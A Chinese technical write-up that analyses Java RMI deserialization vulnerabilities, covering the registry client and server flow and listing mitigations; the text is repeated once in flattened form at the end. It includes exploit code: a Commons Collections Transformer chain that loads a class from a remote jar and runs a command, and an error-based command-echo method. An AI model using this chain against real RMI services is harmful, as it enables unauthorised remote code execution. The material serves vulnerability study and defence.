JAVA RMI 反序列化流程原理分析
字数 1554 2025-08-29 08:32:09

JAVA RMI 反序列化流程原理分析

1. RMI 反序列化漏洞概述

Java RMI (Remote Method Invocation) 反序列化漏洞是一种严重的安全问题,攻击者可以通过构造恶意的序列化对象,在RMI通信过程中触发服务端的反序列化操作,从而执行任意代码。

2. 漏洞利用原理

2.1 基本利用流程

  1. 攻击者作为RMI客户端连接到目标RMI服务
  2. 客户端构造恶意的序列化对象(通常利用Apache Commons Collections等库的漏洞)
  3. 通过RMI协议将恶意对象发送到服务端
  4. 服务端在反序列化过程中执行恶意代码

2.2 关键利用代码分析

// 构造Transformer链
final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(java.net.URLClassLoader.class),
    new InvokerTransformer("getConstructor", new Class[] {Class[].class}, 
        new Object[] {new Class[] {java.net.URL[].class}}),
    new InvokerTransformer("newInstance", new Class[] {Object[].class}, 
        new Object[] {new Object[] {new java.net.URL[] {new java.net.URL(remotejar)}}}),
    new InvokerTransformer("loadClass", new Class[] {String.class}, 
        new Object[] {"exploit.ErrorBaseExec"}),
    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, 
        new Object[] {"do_exec", new Class[] {String.class}}),
    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, 
        new Object[] {null, new String[] {command}})
};

这段代码构造了一个Transformer链,通过一系列反射调用最终实现远程代码执行。

3. RMI通信流程分析

3.1 客户端流程

  1. 获取Registry:客户端通过LocateRegistry.getRegistry(ip, port)获取Registry实例

    • 返回的是RegistryImpl_Stub对象
  2. 构造恶意对象

    • 利用AnnotationInvocationHandler包装恶意Transformer链
    • 通过动态代理创建Remote对象
  3. 绑定操作

    • 调用registry.bind("pwned", r)发送恶意对象
    • 底层通过StreamRemoteCall进行网络通信

3.2 服务端流程

  1. 创建Registry

    • 服务端通过LocateRegistry.createRegistry(port)创建Registry
    • 返回的是RegistryImpl对象
  2. 处理请求

    • 服务端监听端口,接收客户端连接
    • 通过RegistryImpl_Skel处理客户端请求
    • 根据操作码(0-4)执行相应操作
  3. 反序列化触发

    • 在解析客户端请求时进行反序列化
    • 恶意对象在反序列化过程中触发漏洞

4. 关键类分析

4.1 RegistryImpl_Stub (客户端)

  • 负责与远程Registry通信
  • bind()方法流程:
    1. 创建StreamRemoteCall
    2. 写入操作码(0表示bind)
    3. 序列化并发送name和Remote对象
    4. 等待服务端响应

4.2 RegistryImpl_Skel (服务端)

  • 负责处理客户端请求
  • dispatch()方法根据操作码执行不同操作:
    • 0 -> bind
    • 1 -> list
    • 2 -> lookup
    • 3 -> rebind
    • 4 -> unbind

4.3 异常处理机制

  • 服务端异常会以序列化形式返回客户端
  • 客户端通过检查返回值(2表示异常)获取异常信息
  • 利用这一机制实现命令执行结果的回显

5. 漏洞利用细节

5.1 反序列化触发点

漏洞触发发生在服务端处理客户端请求时的反序列化过程:

  1. 客户端发送bind请求
  2. 服务端RegistryImpl_Skel解析请求
  3. 反序列化Remote对象时触发恶意代码

5.2 报错回显机制

远程利用类ErrorBaseExec通过抛出异常返回命令执行结果:

public static void do_exec(String cmd) throws Exception {
    final Process p = Runtime.getRuntime().exec(cmd);
    final byte[] stderr = readBytes(p.getErrorStream());
    final byte[] stdout = readBytes(p.getInputStream());
    final int exitValue = p.waitFor();
    
    if (exitValue == 0) {
        throw new Exception("-r\n" + (new String(stdout)) + "-r\n");
    } else {
        throw new Exception("-r\n" + (new String(stderr)) + "-r\n");
    }
}

6. 防御措施

  1. 升级JDK,使用最新安全补丁
  2. 限制RMI服务的网络访问
  3. 使用安全管理器限制反序列化操作
  4. 替换或移除存在漏洞的库(如commons-collections)
  5. 使用白名单机制控制可反序列化的类

7. 总结

RMI反序列化漏洞的核心在于:

  1. RMI协议本身使用Java序列化进行通信
  2. 服务端在处理请求时会自动反序列化客户端发送的对象
  3. 利用Apache Commons Collections等库的漏洞构造恶意对象
  4. 通过异常机制实现命令执行结果的回显

理解这一漏洞需要深入分析RMI的通信机制和Java反序列化过程,特别是客户端和服务端之间的交互细节。

JAVA RMI 反序列化流程原理分析 1. RMI 反序列化漏洞概述 Java RMI (Remote Method Invocation) 反序列化漏洞是一种严重的安全问题,攻击者可以通过构造恶意的序列化对象,在RMI通信过程中触发服务端的反序列化操作,从而执行任意代码。 2. 漏洞利用原理 2.1 基本利用流程 攻击者作为RMI客户端连接到目标RMI服务 客户端构造恶意的序列化对象(通常利用Apache Commons Collections等库的漏洞) 通过RMI协议将恶意对象发送到服务端 服务端在反序列化过程中执行恶意代码 2.2 关键利用代码分析 这段代码构造了一个Transformer链,通过一系列反射调用最终实现远程代码执行。 3. RMI通信流程分析 3.1 客户端流程 获取Registry :客户端通过 LocateRegistry.getRegistry(ip, port) 获取Registry实例 返回的是 RegistryImpl_Stub 对象 构造恶意对象 : 利用 AnnotationInvocationHandler 包装恶意Transformer链 通过动态代理创建Remote对象 绑定操作 : 调用 registry.bind("pwned", r) 发送恶意对象 底层通过 StreamRemoteCall 进行网络通信 3.2 服务端流程 创建Registry : 服务端通过 LocateRegistry.createRegistry(port) 创建Registry 返回的是 RegistryImpl 对象 处理请求 : 服务端监听端口,接收客户端连接 通过 RegistryImpl_Skel 处理客户端请求 根据操作码(0-4)执行相应操作 反序列化触发 : 在解析客户端请求时进行反序列化 恶意对象在反序列化过程中触发漏洞 4. 关键类分析 4.1 RegistryImpl_ Stub (客户端) 负责与远程Registry通信 bind() 方法流程: 创建 StreamRemoteCall 写入操作码(0表示bind) 序列化并发送name和Remote对象 等待服务端响应 4.2 RegistryImpl_ Skel (服务端) 负责处理客户端请求 dispatch() 方法根据操作码执行不同操作: 0 -> bind 1 -> list 2 -> lookup 3 -> rebind 4 -> unbind 4.3 异常处理机制 服务端异常会以序列化形式返回客户端 客户端通过检查返回值(2表示异常)获取异常信息 利用这一机制实现命令执行结果的回显 5. 漏洞利用细节 5.1 反序列化触发点 漏洞触发发生在服务端处理客户端请求时的反序列化过程: 客户端发送bind请求 服务端 RegistryImpl_Skel 解析请求 反序列化Remote对象时触发恶意代码 5.2 报错回显机制 远程利用类 ErrorBaseExec 通过抛出异常返回命令执行结果: 6. 防御措施 升级JDK,使用最新安全补丁 限制RMI服务的网络访问 使用安全管理器限制反序列化操作 替换或移除存在漏洞的库(如commons-collections) 使用白名单机制控制可反序列化的类 7. 总结 RMI反序列化漏洞的核心在于: RMI协议本身使用Java序列化进行通信 服务端在处理请求时会自动反序列化客户端发送的对象 利用Apache Commons Collections等库的漏洞构造恶意对象 通过异常机制实现命令执行结果的回显 理解这一漏洞需要深入分析RMI的通信机制和Java反序列化过程,特别是客户端和服务端之间的交互细节。